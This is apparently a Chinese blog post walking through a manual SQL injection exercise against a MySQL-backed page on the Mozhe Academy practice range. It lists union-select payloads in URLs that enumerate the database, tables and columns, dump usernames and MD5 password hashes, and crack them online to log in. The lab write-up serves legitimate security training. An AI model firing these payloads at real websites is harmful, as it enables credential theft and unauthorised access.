• SQL手工注入漏洞测试(MySQL数据库)


    使用墨者学院靶场测试

    先浏览页面判断存在注入 >查长度>查数据库>查表>查字段>查数据数量>查用户+密码>解密登录 找不到可注入点可以观察网页是否可以跳转到其他页面,并重新寻找注入点,查询的时候尽量使用group_concat()防止漏数据。

    (1. 登录页面没有账号密码,只能暴破或者SQL注入数据库查看帐号密码 2. 发现公告中存在注入点 3. 通过数据库函数和显示位查看数据库版本信息、数据库名 4. 爆数据库表名 5. 暴数据库列名 6. 输出帐号密码列(使用group_concat()函数) 7. 发现密码有点像MD5加密,去解密下 8.登录帐号和解密后的密码 9.获取key)

    1、寻找注入点 “id=1 and 1=1 ”或者“id=1 and 1=2 ”,1=2时弹出错误证明是注入点:

    id=0 union select 1,2,3,4 (2回显字段)

    2、判断注入类型(数字型、字符型)
    3、order by x判断列的数量(4字段)
    4、联合查询 union select 判断2,3存在回显

    5、查数据库名和用户名:

    //124.70.22.208:44067/new_list.php?id=0 union select 1,database(),user(),4

    6、查版本和系统:

    //124.70.22.208:44067/new_list.php?id=0 union select 1,version(),@@version_compile_os,4

    image.png

    查出数据库版本在5.0以上可以使用内置库

    7、查表名:

    //124.70.22.208:44067/new_list.php?id=0 union select 1,table_name,3,4 from information_schema.tables where table_schema=“mozhe_Discuz_StormGroup”

    8、使用group_concat(table_name)查询所有的表名:

    //124.70.22.208:44067/new_list.php?id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=“mozhe_Discuz_StormGroup”

    9、查出某表中所有列名

    //124.70.22.208:48927/new_list.php?id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

    10、查出该表需要的列的具体值

    //124.70.22.208:48927/new_list.php?id=0 union select 1,name,password,4 from StormGroup_member limit 0,1

    经测试不对!可能是其它行的账号。

    11、那就用group_concat查出所有行的数据

    //124.70.22.208:48927/new_list.php?id=0 union select 1,1,group_concat(name),group_concat(password),4 from StormGroup_member

    原来有两行数据,测试第二个才对。

    12、将密文到https://www.cmd5.com/查询,结果就是密码:

  • 相关阅读:
    攻击面分析及应对实践
    1.5 阻塞与非阻塞I/O
    面向对象特性分析大全集
    【花雕动手做】有趣好玩的音乐可视化系列小项目(22)--LED无限魔方
    1软件管理
    【安卓基础6】数据存储
    腾讯待办停止运营,怎么继续提醒事情呢?
    LeetCode --- 1394. Find Lucky Integer in an Array 解题报告
    一种高速1553B总线通信接口模块
    淘宝API系列,商品详情数据的获取(数据聚全)
  • 原文地址:https://blog.csdn.net/chinacqzgp/article/details/126918799